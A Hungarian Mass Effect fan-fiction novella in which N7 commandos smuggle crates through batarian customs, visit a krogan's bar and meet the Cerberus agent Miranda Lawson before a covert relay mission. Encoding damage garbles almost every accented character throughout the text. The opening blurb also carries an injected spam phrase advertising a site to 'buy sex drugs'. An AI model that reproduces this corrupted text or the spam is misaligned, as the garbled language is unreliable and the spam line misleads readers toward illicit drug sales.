Mass Effect: KA�sleltetA�s – rajongA?i novella

E fan-fiction a best online site to buy sex drugs. masseffect.hu egy A�ves szA?letA�snapja alkalmA?bA?l rendezett pA?lyA?zatra kA�szA?lt A�s vA�gA?l a harmadik helyezett lett.

IsmertetA�: A kaszA?sok mA?r a kA�zelben vannak. BA?r Shepard parancsnok felrobbantotta az Alfa relA�t, ezzel csak idA�t nyert, hA?borA?t nem. Azonban az idA�t a hadbA�rA?sA?gon kell eltA�ltenie. Hogy erA�feszA�tA�se ne vesszen kA?rba, Anderson tanA?csos A�s Hackett admirA?lis egy N7-es alakulatot kA?ld a BatA?ri HegemA?nia terA?letA�re, az AlfA?hoz legkA�zelebb esA� relA�hez. Feladatuk: bA?rmi A?ron lassA�tani a kaszA?s invA?ziA?t. Az amA?gy is nehA�z kA?ldetA�st rA?adA?sul tovA?bb bonyolA�tja kA�t egymA?sra vadA?szA? A?gynA�k, az A�ppen nem tA?l barA?tsA?gos helyzet a SzA�vetsA�g A�s a HegemA?nia kA�zA�tt, valamint a tA�ny, hogy olyat prA?bA?lnak megtenni, amit senki elA�ttA?k: le akarnak A?llA�taniuk egy TA�rkA�z RelA�t annak felrobbantA?sa nA�lkA?l.

MASS EFFECT
KA�sleltetA�s

a�� Hogy is hA�vjA?k? a�� kA�rdezte a batA?ri recsegA� basszussal, mind a nA�gy szemA�vel kerA?lve az elA�tte A?llA? fA�rfit. John Young helyA�ben mA?sok ezA�rt hA?lA?sak lettek volna, de A� jobban szerette volna, ha a vA?mtiszt inkA?bb A�t fA?rkA�szi, mint a mA�gA�tte sorakozA? lA?dA?kat, vagy kA�k pA?ncA�lt viselA� tA?rsait.
a�� Emilio a�� felelte Young, kissA� tA?relmA�t vesztve. A vA?mtiszt negyedszerre kA�rdezett rA? a nevA�re.
a�� Milyen Emilio? a�� fordult vA�gre felA� a batA?ri. Fegyvere csA�ve vA�szesen kA�zel A?llt a fA�rfi fejA�hez, de Young igyekezett nem tudomA?st venni rA?la.
a�� Csak Emilio. Esetleg Emilio kapitA?ny, de megvallom A�szintA�n, nem igazA?n rajongok a titulusA�rt. A?zletember vagyok. Az A�rhajA?krA?l csak annyit tudok, melyik az eleje, a hA?tulja A�s jA? esetben azt, hogy hol kell beszA?llni.
a�� Pofa be! a�� Young kA�szsA�gesen elhallgatott.
A batA?ri a rakomA?nyjegyzA�kre pillantott, majd felnyittatta a lA?dA?kat. Young tA?relmetlenA?l morogva beA?tA�tte a kA?dot a�� immA?r A�tA�dszA�r a��, majd fA?stA�lA�gve figyelte, amint a vA?mtiszt beletA?rt a mechalkatrA�szekbe, kivett egy mechanikus kart, lA?bat, mA�g egy fejet is. Ahogy tartotta, arrA?l Youngnak eszA�be jutott a Hamlet egy harmadrangA? elA�adA?sa, amit mA�g sihederkA�nt lA?tott egy lA?nnyal. Elnyomta mosolyA?t azon gondolatra, hogy rA�gen mit meg nem tett, hogy bejusson egy nA� bugyijA?ba.
Most viszont kijutni szA?ndA�kozott, a hangA?rbA?l, ahol sokadmagukkal a vA?mvizsgA?lat hosszA? procedA?rA?jA?t nyA�gtA�k. Ahogy vA�gignA�zett a sorokon, fA�leg batA?rikat, turiA?nokat, szalA?rikat A�s aszA?rikat lA?tott. KA�t sor volt a turistA?kA�, a tA�bbi az A?ruszA?llA�tA?kA�. Eme sorok egyikA�ben A?lltak A�k is: jA?maga, kA�t KA�k Nap zsoldos A�s egy aszA?ri, aki idegessA�gA�ben a kA�rmA�t rA?gcsA?lta, A�s mindent megtett, hogy ne emelje fel tekintetA�t a koszos fA�mpadlA?rA?l. ViselkedA�se bosszantotta Youngot, de nem tehetett semmit ellene. Ha rA?szA?l a nA�re, az mA�g gyanA?sabbA? tette volna A�ket, pedig a vA?mtiszt A�gy is hezitA?lt. A papA�rjaikat hA?romszor ellenA�riztette le, a lA?dA?kat is kipakoltatta, A�s most A?jra azokban turkA?lt, mintha azt vA?rnA?, hogy kA�t felnyitA?s kA�zA�tt a mechalkatrA�szek atombombA?kkA? alakulnA?nak. Young elA�szA�r A?gy vA�lte, ez csak a batA?rikra jellemzA� emberutA?lat miatt van, de hA?rom A?ra vA?rakozA?s utA?n kezdett aggA?dni.
a�� MiA�rt van szA?ksA�ge egyszerA� karbantartA?mechek alkatrA�szeinek szA?llA�tA?sA?hoz KA�k Napok zsoldosokra? a�� dobta vissza a fejet a lA?dA?ba, fikarcnyit sem tA�rA�dve annak A�psA�gA�vel. Young felszisszent. A batA?ri ezt A?gy A�rtA�kelhette, hogy az A?ruiA�rt aggA?dik, pedig csak hirtelen feltA�rA� haragjA?t szA�rte meg.
a�� MA?r mondtama�� A tA?rsam, Borak Vekona szokta hozni az A?rut. Mi lA?tjuk el a promenA?don a Derkofeli Mechboltot. De hA?rom hete Borak eltA�nt. Az utolsA?, amit hallottam felA�le, hogy batA?ri kalA?zok tA?madtA?k mega�� Ne vegye sA�rtA�snek. a�� A megremegA� ajak arrA?l tanA?skodott, hogy annak vette. a�� EltA�nt az A?ru, a hajA?, A�. KA�nytelen voltam magam jA�nni, a mA?sik hajA?nkkal, aminek most Illium felA� kA�ne repA?lnie egy rakomA?ny thessiai naphallal. De nekem ide kellett jA�nnA�m, hogy leszA?llA�thassam a kifizetett alkatrA�szeket. Ami nekem mA?r A�gy is rA?cseszA�s, hiszen kA�tszer kellett szA?llA�tanom, kA�tszer kellett megszereznem az A?rut, plusz elvesztettem az egyik hajA?m. A�s a barA?tom a�� tette hozzA? mintegy mellA�kesen.
a�� OkA�a�� A�s most vA?laszolna arra a kA�rdA�sre, hogy miA�rt van itt ez a kA�t zsoldos? a�� bA�kA�tt tA?relmetlenA?l fegyverA�vel a kA�k pA?ncA�los alakokra. A magasabb fA�rfi megrezzent, keze megindult a pisztolya felA�, de nem A�rt hozzA?. SzerencsA�re ebbA�l a batA?ri semmit nem lA?tott. Minden szeme Youngot fA?rkA�szte, fogai ki-kivillantak.
a�� HA?t nem vilA?gos? a�� A�rtetlenkedett Young. a�� KalA?zok tA?madtA?k meg a tA?rsam A�s eltA�nt. EgyedA?l utazott. Eszem A?gA?ban sincs mA�g egy hajA?t A�s rakomA?nyt elveszteni, az A�letemrA�l nem is beszA�lve.
a�� KA�t zsoldos egy kalA?zbanda ellen?
a�� Ennyire futotta a�� vallotta meg vonakodva.
a�� Na A�s a gyA�nyA�rA�sA�g? a�� bA�kA�tt az aszA?rira, sokadszorra is alaposan vA�gigmA�rve. A kA�kbA�rA� nA�, ha lehet, mA�g jobban lesA?tA�tte a szemA�t.
a�� Utas, ahogy mA?r mondtam A�n is, A� is. Valamivel pA?tolnom kell a kiesA�st. BA?r fele annyit sem fizetett, mint amennyi a hiA?ny, de aki a kicsit nem becsA?lia��
A batA?ri horkantott egyet, mire Young elhallgatott. VA?rakozva figyelte, amint a vA?mtiszt A?jra vA�gignA�z rajtuk, a lA?dA?kon a�� Young egy pillanatra azt hitte, A?jra kinyittatja a��, majd vA�gA?l sA?hajtva a fA�rfi kezA�be nyomta a rakomA?nyjegyzA�ket.
a�� TA�njenek el innen! a�� azzal embereivel a sorban kA�vetkezA�khA�z lA�pett.
Young tA?virA?nyA�tA?jA?val megindA�totta a lebegA� lA?dA?kat, A�s tA?rsaival az A?rnyA�kA?ban elhagyta a hangA?rat. Csak folyosA?kkal arrA�bb, egy zsA?folt utcA?ban A?lltak meg.
a�� MA?r azt hittem, testA?reg motozA?s is lesz a�� szA?lalt meg a magas, szikA?r termetA� pA?ncA�los, Charles Walker.
a�� Azt biztos A�lvezted volna a�� mondta a mA?sik zsoldos levA�ve sisakjA?t. Frank De Winne lehetetlenA?l kerek fejA�n lapos orr A�s karfiolfA?l A?lt, A�s az sem szA�pA�tette meg, hogy tar kopaszra nyA�ratta magA?t.
a�� Bekaphatod! a�� vetette oda a dalia, mire a kopasz felnevetett. a�� Top, szA�nA�sznek kellett volna A?llnod. MA?r majdnem A�n is bevettem, hogy kapzsi kereskedA� vagy.
a�� ElA�g legyen, Charles! a�� utasA�totta Young nagyhangA? emberA�t, majd az aszA?ri felA� fordult. a�� JA?l van, doktornA�?
Dr. Serina Kol A?gy festett, mint aki mindjA?rt A�sszeesik. RemegA� lA?bakkal tA?maszkodott az egyik lA?dA?nak, kA�k bA�re pedig elhalvA?nyult. Youngra nA�zett, szemeiben kA�nny csillogott.
a�� Cs-csak kicsit sok volt ez nekem. A vA?mtiszt A�s a fegyvereka�� Nem ehhez szoktam.
a�� Nyugodjon meg, most mA?r tA?l vagyunk rajta. Ha minden jA?l megy, ez volt a legnehezebb rA�sze.
a�� RemA�lem a�� sA?hajtotta a nA� A�s megtA�rA�lte szemA�t.
Young pA?r pillanatig mA�g figyelte az aszA?rit, ahogy megprA?bA?lta A�sszeszedni magA?t. A csapat vezetA�jA�nek korA?bban sem tetszett, hogy egy civil tudA?st kell kA?ldetA�sre hoznia, akinek a harctA�ri tapasztalata kimerA?lt a legyek lecsapA?sA?ban. Most azonban komoly kA�tsA�gei tA?madtak. Biztos volt benne, hogy a vA?mon A?tjutA?s volt kA?ldetA�sA?k legegyszerA�bb rA�sze, A�s ha a doktornA� mA?r ennyitA�l kiborult, mi lesz vele, ha lA�ni fognak rA?juk? ElvA�gre terrorista akciA?ra kA�szA?ltek, A�s azt mA�g a Terminus-rendszerben sem szoktA?k A�lbe tett kA�zzel nA�zni.
a�� Szedje A�ssze magA?t, doktor! a�� mondta, annyira bA?torA�tA?an, amennyire tudta, majd embereihez fordult. a�� Frank, vidd a lA?dA?kat Derkofelihez! a�� odadobta De Winne-nak a tA?virA?nyA�tA?t. a�� VA?r rA?nk, minden eszkA�zt megad. LA?ss hozzA? a csomag A�sszeszerelA�sA�hez!
a�� Igenis, parancsnok a�� biccentett a kopasz fA�rfi, majd hA?tba veregette pA?ncA�los tA?rsA?t. a�� Chuck, ne A�lesd meg magad, mA�g nem vagyok itt.
a�� Ha elmA�sz, a tA?lA�lA�si esA�lyeim inkA?bb nA�nek.
De Winne ostobA?n vigyorogva elvezette a lA?dA?kat a szA�les folyosA? vA�ge felA�. TA?rsai figyeltA�k, mA�g eltA�nik a sarkon, majd A�k is elindultak.
MA?sik A?ton, de ugyanoda mentek: a RelA�torony A?llomA?s promenA?djA?ra. Young a�� annak ellenA�re, hogy lA?tta a terveket a�� eddig A?gy kA�pzelte el az A�rA?llomA?s hossztengelyA�n vA�gighA?zA?dA?, akA?r tA�bb hadihajA? befogadA?sA?ra is alkalmas gigantikus folyosA?t, mint a FellegvA?r prezA�diumA?t. Hatalmasat tA�vedett. A nyA�legyenes promenA?d hA�jA?n volt mindannak, ami a prezA�diumot gyA�nyA�rA�vA�, megnyugtatA?vA?, otthonossA? tette.
A RelA�torony fA�folyosA?ja, vagy ha A?gy tetszik, fA�utcA?ja zsA?folA?sig volt A�lA�lA�nyekkel. A TejA?trendszer ismert fajai mind megfordultak itt kisebb-nagyobb tA�megben. A mellA�kfolyosA?kon A?t ki-be A�zA�nlA�ttek a nA�pek, mint valami A�lettA�l lA?ktetA� folyA?. A hangzavarban alig lehetett A�rtelmes szavakat kivenni. A szegA�nyebb kufA?rok ordA�tva kA�nA?ltA?k kis boltjuk termA�keit, a gazdagabb A?zletek ezzel szemben szA�nes, fA�nyes, beszA�lA� reklA?mfelA?leteket hasznA?ltak, melyek olykor az egA�sz falat beleptA�k. Az ilyen reklA?mok A?dA�tA�en hatottak, mert az eredendA�en barna falakat, padlA?t A�s mA�g a mennyezetet is vastagon fedte a kosz, a rozsda A�s az isten se tudja, mA�g mi. Az A?llomA?s maga nem rendelkezett olyan A�ntisztA�tA? rendszerrel, mint a FellegvA?r, A�s lA?thatA?an az utolsA? energiacseppjA?kig dolgozA? takarA�tA? mechek sem A�rtek fel a gondnokokkal. Persze, a rejtA�lyes rovarfajjal ellentA�tben a mecheknek egy non stop zsA?folt folyosA?t kellett tisztA?n tartaniuk.
Nem is csoda, hogy a kA?vA�zA?k, bA?rok, A�ttermek nem tartottak fenn teraszt, A�s a boltok kirakatai a�� a legszegA�nyebbekA�t leszA?mA�tva a�� is csak hologramok voltak. Ki akarna rA?lA?tni erre a lA?tkA�pre? Minden koszos, zsA?folt, sehol egy szemnyugtatA? zA�ld rA�t, fA?k, amik rA?adA?sul elnyomhattA?k volna a lA?togatA?k A�s a promenA?d helyisA�geinek kellemetlen szag-masszA?jA?t. A mA� nA�vA�nyek mestersA�ges illatai, amiket a levegA�be fecskendeztek annyit A�rt, mint a nyA�lt A�rben egy pulA?ver.
Young, Walker A�s Kol a tA�meg kA�zepA�n haladtak. A kA�t fegyveres akadA?lymentesen haladt. BA?r a lA?togatA?k nagytA�bbsA�ge viselt valamilyen fegyvert a�� kA�st, pisztolyt vagy puskA?t, egyedA?l a nehA�zfegyvereket nem engedA�lyeztA�k a RelA�toronyban a��, a Young A�s Walker fA�lA�ket csak a legostobA?bbak nem kerA?ltA�k ki. Walker KA�k Napok pA?ncA�lja eleve szabad utat biztosA�tott, de Young szigorA?, szA?rA?s tekintete sem volt kevA�sbA� hatA?stalan.
Kol azonban nem rendelkezett se rettegett emblA�mA?val dA�szA�tett pA?ncA�llal, se tA?l sok harcot lA?tott, parancsolA? tekintettel. TA�rA�keny termetA�, aszA?ri mA�rcA�vel mA�rten is fiatal nA� volt, aki Thessia bA�kA�jA�hez A�s a laborja nyugodtsA?gA?hoz volt szokva. Mindenki belA� A?tkA�zA�tt, tA�bbszA�r is kis hA�jA?n fellA�ktA�k, a lA?bA?t az elsA� szA?z mA�teren szA?mtalanszor megtapostA?k, A�s legalA?bb A�ten a�� kA�ztA?k egy volus a�� tettek neki undorA�tA? ajA?nlatot. Csak akkor sikerA?lt felvennie tA?rsai tempA?jA?t, mikor Young A�s Walker A�szlelvA�n nehA�zsA�geit, kA�zre fogtA?k.
Astjuk egy kA�t bolt kA�zA� beszorA�tott keskeny ajtA?hoz vezetett. A bejA?rat fA�lA�tt pislA?kolA? kijelzA� a TejA?trendszer nyelvei kA�zA�tt vA?ltogatva hirdette az ajtA? mA�gA�tt bA?jA? helyisA�g nevA�t: MAROT BA?RJA. MiutA?n belA�ptek A�s vA�gigmentek a nem A�ppen bizalomgerjesztA� folyosA?n, Youngban felmerA?lt, hogy a hagyomA?nyos kocsma megnevezA�s jobban illene a helyre.
Alkoholok, kA?lA�nfA�le dohA?nyok A�s a rA�szeges tA�rzsvendA�gek fA�lreismerhetetlen, A�deskA�s szaga volt az elsA�, ami megcsapta az A�rkezA�ket, ezt kA�vette a fA?llesztA� meleg A�s a holovid minden beszA�det elnyomA? A?vA�ltA�se. Persze a sportmA�sorral senki sem tA�rA�dA�tt, hiA?ba passzolgattA?k egymA?s kA�zt a szA�nes mezekbe bA?jt turiA?nok a hatszA�gletA�, lebegA� labdA?kat.
Young A�s Walker egyetlen pillantA?ssal felmA�rtA�k a helyisA�g elA�nyeit A�s hA?trA?nyait. A terem vA�gA�ben megbA?jA?, magasA�tott bA?rpult ideA?lis fedezA�k volt, ellentA�tben a mA�gA�tte A?llA? unott kA�pA� krogannal, aki mint akadA?ly jelent meg Young kA�pzeletbeli listA?jA?n. KijA?rat csupA?n hA?rom volt: a bejA?rat, egy ajtA? a bA?rpult mA�gA�tt a�� feltehetA�en a raktA?rba vezetett a�� A�s egy folyosA? a mellA�khelyisA�gek felA�, kA�zvetlen a jA?tA�k automatA?k mellett. A bA?torok olcsA? kivitelezA�sA� fA�malkalmatossA?gok voltak, semmikA�ppen sem A?llhattak ellen egy gA�pfegyver tA?zA�nek.
A csapat szA�tvA?lt. Walker csendesen elsuhant a fal mentA�n az egyik sarokba, ahonnA�t szemmel tarthatta mindhA?rom ajtA?t A�s a kocsma dA�szes tA?rsasA?gA?t is, ellenben A� egyA?ltalA?n nem volt szem elA�tt. Young A�s Kol a bA?rpulthoz ment. Az aszA?ri annak ellenA�re vonzotta a tekinteteket, hogy szA?rke-kA�k vA?szonruhA?ja egyA?ltalA?n nem volt kihA�vA?. MA�gis, egy olyan helyen, ahol a tA�rzsvendA�gek kA�zA�tt a legszebb az egyik asztal alatt fetrengA� rA�szeg volu, aki csak azA�rt nyerte el e becses cA�met, mert arcA?t a magasnyomA?sA? ruha jA?tA�konyan elfedte, nem volt meglepA�.
a�� TA�pje le a tA�keimet egy megveszett varren, ha ez itten nem egy kA�kbA�rA� a�� mordult fel a vA�n krogan a pult mA�gA�tt, hatalmas szemeivel Kolt mA�ricskA�lve, A�szre sem vA�ve Youngot. a�� EltA�vedtA�l, bogA?rkA?m, vagy csak az A�reg Ganar Marot elbA�vA�lA� csehA?ja csA?bA�tott be?
a�� Velem van a�� szA?lalt meg hamarjA?ban Young, elvonva a krogan figyelmA�t a feszengA� KolrA?l.
a�� HA?t persze, hogy veled van, szA�p szA�ke herceg a�� horkantott a krogan.
Young fintorogva vA�gigsimA�tott aprA?ra nyA�rt fekete hajA?n, mA�g szabad keze pisztolya markolatA?ra csusszant. Nem volt benne biztos, hogy a krogan csak nem A�rti a fA�ldi kifejezA�seket, vagy rA?gerjedt.
a�� Bocs pajtA?s, de a feketA�k a gyengA�im a�� mondta, mintegy figyelmeztetve.
a�� Az jA?! A�n inkA?bb a kA�kre eskA?szA�m, A?gya�� a�� elhA?zta a szA?t, mintha fejben szA?molna a�� A�t liter vA�rrel felcicomA?zva.
Young elA�szA�r azt hitte, hogy Marot Kolra gondol, de aztA?n rA? kellett jA�nnie, hogy Walkert szA?rta ki.
a�� Asgy bizony, aprA?ka, a kA�kpA?ncA�los cimborA?d bA�ki a pA?pom. Na, sA?gd meg ide a bal hallA?nyA�lA?somba, hogy italA�rt jA�ttetek, vagy egy kurva nagy tockosA�rt. KA�rhetitek mindkettA�t, akA?r egyszerre is, opcionA?lis, de kA�ztA?k szA?lva, baromira utA?lok takarA�tani.
Young egy a�zez nyilvA?nvalA?a�? arckifejezA�ssel nA�zett kA�rbe a bA?rban, majd bA�kA�tA� jelleggel levette kezA�t a pisztolyrA?l.
a�� Egy barA?tunkkal van talA?lkozA?nk.
a�� BarA?tkozni akartok? Menjetek a jA?tszA?tA�rre, ott biztos talA?ltok magatoknak A�ri barit, de itt, mint mondtam, ital vagy tockos a kA�nA?lat. RA?adA?sul A?rukapcsolA?s van. Ha nem rendeltek italt, megkapjA?tok a tockost. SzA?val?
a�� SA�rt, hA?rom korsA?val a�� adta meg magA?t Young. a�� LehetA�leg emberek A?ltal fogyaszthatA?t.
a�� Mi mA?st adnA�k? Mondtam, hogy utA?lok takarA�tani a�� vA?gott A?gy oda hA?rom fA�mkorsA?t a pulthoz, hogy Kol A�sszerezzent, Young pedig attA?l tartott, hogy a sA�ntA�s kettA�hasad. Ez ugyan nem kA�vetkezett be, de a krogan csapos sajA?tos sA�rtA�ltA�sA�nek hA?la csak az nem A?zott el, aki nem tartA?zkodott a bA?rban.
a�� Isteni hely, ajA?nlani fogom az ellensA�geimnek a�� mondta Young A�szintA�nek cseppet sem tA�nA� mosollyal, mikA�zben bA�rdzsekijA�rA�l tA�rA�lgette a habot, majd lehA?zta kreditkA?rtyA?jA?t az olvasA?n.
a�� HA?lA?m A?ldA�zni fog a sA�rig, majd szA?lj, mikor lesz a temetA�sed a�� morogta Marot, mikA�zben vendA�gei Walkerhez vittA�k a sA�rA�skorsA?kat.
a�� Nos? a�� vonta fel a szemA�ldA�kA�t a pA?ncA�los fA�rfi, mikor letettA�k elA� a korsA?kat. a�� A kapcsolat?
Young vA?llat vont A�s letelepedett. Kol vonakodva ugyan, de kA�vette. PA?r percig nA�mA?n A?ltek, a sA�rhA�z nem nyA?ltak. Csendben szemlA�ltA�k a hangosan szkanderozA? turiA?nokat, a horkolA? volut, a magA?ban iszogatA? elkort, az asztalukat kA�rbelebegA� hanA?rokat.
a�� KA�rdezhetek valamit? a�� szA?lalt meg Kol halkan, zavarA?t a bizonytalan adalA�kokkal teli sA�r lA�tykA�lA�sA�vel leplezve.
a�� Ne fogja magA?t vissza, Serina a�� mondta Young, elmA�lyA?lten figyelve az ajtA?n belA�pA� batA?ri tA?rsasA?got. MA?r most rA�szegek voltak, jA?rA?sukban tA�bb volt a gA�rbe, mint az egyenes, szemeik pedig kamA�leon mA?djA?ra szA�tA?lltak. A lendA?let a pultig vitte A�ket, nem tovA?bb.
a�� Mi van a lA?dA?kban?
a�� MechalkatrA�szek a�� felelte Young kA�nnyed A�szintesA�ggel. Kol el is hitte volna, ha nem tudja, hogy ez csak begyakorolt hazugsA?g.
a�� Komolyan kA�rdema��
a�� Komolyan mondom a�� fordult felA� a fA�rfi, A�s szemA�ben tA�nyleg A�szintesA�g csillogott. a�� EgyszerA�, mezei szervizmech-alkatrA�szek.
a�� A�s akkor De Winne hadnagynak mit kell A�sszeraknia? Egy karbantartA? mechet?
Young bA?lintott, A�s rA�szA�rA�l ezzel befejezettnek minA�sA?lt a beszA�lgetA�s. Kol azonban nem hagyta annyiban.
a�� Minek nekA?nk egy szervizmech?
a�� Serina! a�� Young olyan kA�zel hajolt az aszA?rihoz, hogy azt a kA?lsA� szemlA�lA� mA?r intim kA�zelsA�gnek vA�lhette, pedig a fA�rfi csak annyit akart, hogy mA�g vA�letlen se halljA?k meg a kA�vA?ncsiskodA? fA?lek. Persze, ha normA?lis hangerA�n beszA�l, akkor sem fenyegette volna ez a veszA�ly, annyira A?vA�ltA�tt a holovid.
a�� Amire kA�szA?lA?nk, az mA�g a Terminus-rendszerben is terrorista akciA?nak minA�sA?l. Ha lebukunk, vA�gA?nk. SzA?val gondolkozzon! Maga szerint nem hoztunk magunkkal nA�mi extra biztosA�tA?st azA�rt, hogy A�p bA�rrel megA?sszuk? a�� MegA�rintette a nA� kezA�t a mindenes kivetA�tA�jA�nA�l. a�� Maga csak azzal tA�rA�djA�n, hogy a programja mA�kA�djA�n.
a�� MA�kA�dni fog a�� vA�gre hatA?rozottan jelentett ki valamit. Young bA?lintott, aztA?n az ajtA? felA� pillantott, mert Walker szeme fennakadt valamin. Vagyis valakin.
A? volt a kapcsolat. ElA�g volt megpillantania, hogy tudja. Annyira sem illett a bA?rba, mint Kol. A karcsA? teremtA�s nem a bejA?rati ajtA?n A?t jA�tt be, hanem a mellA�khelyisA�gek felA�l. UgyanA?gy vonzotta a tekinteteket, mint a doktornA�, de A� a ruhA?zatA?val mA�g rA? is segA�tett erre. HA?fehA�r bA�r kezeslA?basa fantA?ziA?t megmozgatA?an kA�vette formA?s teste vonalait, kerek domborulatait. MozgA?sa leginkA?bb egy pA?rducA�ra emlA�keztetett. Kecses, de kimA�rt.
a�� Pyjak rA?gja meg a kolbA?szom! a�� csattant fel Marot, felkapvA?n a fejA�t a kocsmA?jA?ban szokatlan fA?ttyA?lA�s hullA?mra. a�� NA?lam tartjA?k a RelA�A?llomA?s szA�pe versenyt, A�s be sem vA?lasztottak a zsA�ribe? Arany szA�veim kicsi csA?cske, miben lehet a szolgA?latodra a vA�n Marot?
a�� JA�g brandy-t kA�rek a�� telepedett le a bA?rpulthoz az ismeretlen nA�, hA?ttal a batA?ri tA?rsasA?gnak. Azok minden szemA?ket felA� meresztettA�k, A�s illetlen megjegyzA�seket fA�ztek alakjA?hoz, de A� rA?juk sem hederA�tett. InkA?bb YoungA�k felA� pillantott, vA�gigmA�rte a tA?rsulatot egy olyan nA� tekintetA�vel, aki A�jszakA?ra keres magA?nak valakit. A szA�njA?tA�k talA?n mA�g hihetA� is lett volna egy nA�vA?sabb helyen, itt viszont kissA� komikusan hatott. Nem csoda, hogy Young kevA�ssA� vidA?man A?llt fel az asztaltA?l A�s lA�pett oda a nA�hA�z.
a�� AprA?ka, a fekete, akit rendeltA�l a�� fA�zte kA�zbe Marot A�blA�s rA�hA�gA�ssel. a�� A kA�ksA�g A�s A�, nem semmi A�jszakA?d lesz. Mondhatom, nem aprA?zod el.
a�� InkA?bb menjen, A�s mossa fel a mocskot a�� szA?rta oda Young, ahogy felA?lt a magasA�tott szA�kre.
Marot elA�rtve a cA�lzA?st a volu felA� sandA�tott.
a�� Minek? A gA�mbA�cA�kbe az a jA?, hogy a sajA?t gatyA?jukba piszkA�tanak, mA?shovA? nem a�� azzal tovacsoszogott, hogy szA?rakoztassa a batA?rikat, akik kezdtek tA?lsA?gosan fellelkesA?lni a feketehajA? szA�psA�g kA�zelsA�gA�tA�l.
a�� Maga a Cerberus A?gynA�ke? a�� kA�rdezte kertelA�s nA�lkA?l Young, annyira halkan, amennyire a hely megengedte.
a�� Igen a�� bA?lintott a nA�, belenyalva a brandy-be. A�pp csak megA�zlelte, megnedvesA�tette ajkait, majd fA�lrelA�kte a poharat A�s szembefordult a fA�rfival, de A?gy, hogy fA�l szemmel figyelhesse a bejA?ratot. a�� A�rvendek, John Young parancsnok. Walker hadnagy nem tA?l feltA�nA� abban a pA?ncA�lban? Gondolom De Winne fA�hadnagy mA?r DerkofelinA�l van, legalA?bbis remA�lem. Megjegyzem, szerintem nagy hiba volt bevonni azt a piti fegyverkereskedA�t az akciA?ba.
Young elismerA�en bA?lintott. Nincs A�t napja annak, hogy David Anderson tanA?csost egy lenyomozhatatlan csatornA?n, egyenesen a lakA?sA?n megkereste a Cerberus, e rejtA�lyes A�s hatalmas szervezet feje, a RejtA�zA� FickA?. EzutA?n indult meg az a folyamat, melynek vA�gA�n hA?rom szA�vetsA�gi N7 kommandA?s A�s egy relA�-specialista aszA?ri tudA?s kikA�tA�tt a Terminus-rendszer egyik leghA�resebb A�rA?llomA?sA?n. Mindezt annyira fA� alatt, hogy csak kA�t ember tudott ittlA�tA?krA�l: Anderson A�s kA�zvetlen felettesA?k, Hackett admirA?lis. Mindenki mA?s szA?mA?ra A�k hA?rman hadgyakorlaton vannak, a doktornA� pedig A?dA?l. Ha valami baj tA�rtA�nik, nem A�rkezik erA�sA�tA�s, mi tA�bb, letagadjA?k A�ket. Ha nyilvA?nossA?gra kerA?l a dolog, dezertA�rnek nyilvA?nA�tjA?k mindnyA?jukat, ha pedig meghalnak, Hackett admirA?lis A�szinte rA�szvA�ttel fogja tA?jA�koztatni a csalA?djaikat, hogy tragikus baleset A?ldozatai lettek. MA�g tanA?k is lesznek rA?, perdA�ntA� bizonyA�tA�kok egA�sz sora, csak A�ppen a nyomozA?st mA?r akkor lezA?rtA?k, amikor A�k elindultak. Biztos, ami biztos alapon. KA?ldetA�sA?k hivatalosan nem tA�bb egy anomA?liA?nA?l a kA�ltsA�gvetA�sben, egy kA�rdA�jel a felszerelA�s igA�nylA�sen, A�s talA?n egy lA?bjegyzet egy aktA?ban, amit a megA�rA?sa utA?n megsemmisA�tenek.
A�s a nA� mA�gis tudta a nevA?ket, rangjukat, A�s Young biztos volt benne, hogy az aktA?jukat is kA�nnyedA�n felmondta volna, a szigorA?an titkos rA�szekkel egyA?tt.
a�� Ez igen. A Cerberus tA�nyleg fA�lelmetesen jA?l tA?jA�kozott. Shepard nem hiA?ba tartja fenyegetA�snek a maga RejtA�zA� FickA?jA?t. a�� a nA� barna szeme fenyegetA�en megvillant. Young elA�gedetten nyugtA?zta. Nem akarta, hogy a nA� abba a hittbe ringassa magA?t, hogy nA?la van minden aduA?sz. a�� SzA?val, maga A?gy tA�nik, mindent tud rA?lunk. A�n viszont mA�g a nevA�t sem. ElA?rulnA??
a�� Miranda Lawson.

a�� Be tud minket juttatni a relA�be? a�� kA�rdezte Young a bemutatkozA?s cseppet sem formA?lis metA?dusA?n A?tesve.
a�� Nem lesz egyszerA�, de igen. TA�bb akna A�s szervizfolyosA?k is levezet oda. TalA?ltam egyet, ami tA�kA�letesen megfelel a terveinknek. De ami odabent vA?r magukra, az mA?r nem az A�n gondom a�� lopva az ajtA? felA� pillantott.
a�� FelkA�szA?ltA?nk.
a�� Az ismeretlenre? a�� Lawson szkeptikusan nA�zett rA?.
a�� AzA�rt hoztunk relA�-specialistA?t, hogy ne az ismeretlenbe rohanjunk. TA�bbet tudunk, mint maguk tudtak, mikor A?tugrottak az Omega 4-en. a�� Lawson arca egy pillanatra meglA?gyult, de aztA?n A?jra megfagyott. Young szA?mA?ra ennyi mA�gis elA�g volt, hogy tudja: a nA� csak lA?tszatra jA�gkirA?lynA�.
a�� MehetA?nk?
Lawson kA�nnyedA�n lecsA?szott a szA�krA�l. Mellette Young nehA�zkes mozgA?sA?nak tA�nt, pedig kora A�s termete ellenA�re nem volt az. Walker A�s Kol jelzA�s nA�lkA?l csatlakoztak hozzA?juk. Lawson odaintett a csalA?dottan kiabA?lA? batA?riknak, majd begerjedt fruskakA�nt belekarolt Youngba A�s elindultak kifelA�. A lA?tszatott addig tartottA?k fenn, mA�g be nem zA?rult mA�gA�ttA?k a bA?r ajtaja, A�s A?jra ott A?lltak a promenA?d tA�megA�ben.
a�� Charles, Serina, a hA�lgy Miranda Lawson, a Cerberus A?gynA�ke a�� mutatta be embereinek a nA�t. Walker egy kamasz fiA? vigyorA?val nyA?jtott kezet.
a�� SzA?lA�ts csak Chucknak.
Lawson kelletlenA?l megrA?zta a hadnagy kezA�t, majd elfogadta Kol jobbjA?t is. A doktornA� azonban a lelkesedA�s nyomA?t sem mutatta, sA�t, tA�le szokatlan mA?d szA?rA?san bA?mult az A?gynA�kre. A?t valA?szA�nA�leg nem kA?prA?ztatta el Lawson alakja, plA?ne nem a Cerberus A?gynA�k titulus fA�nyA�ben.
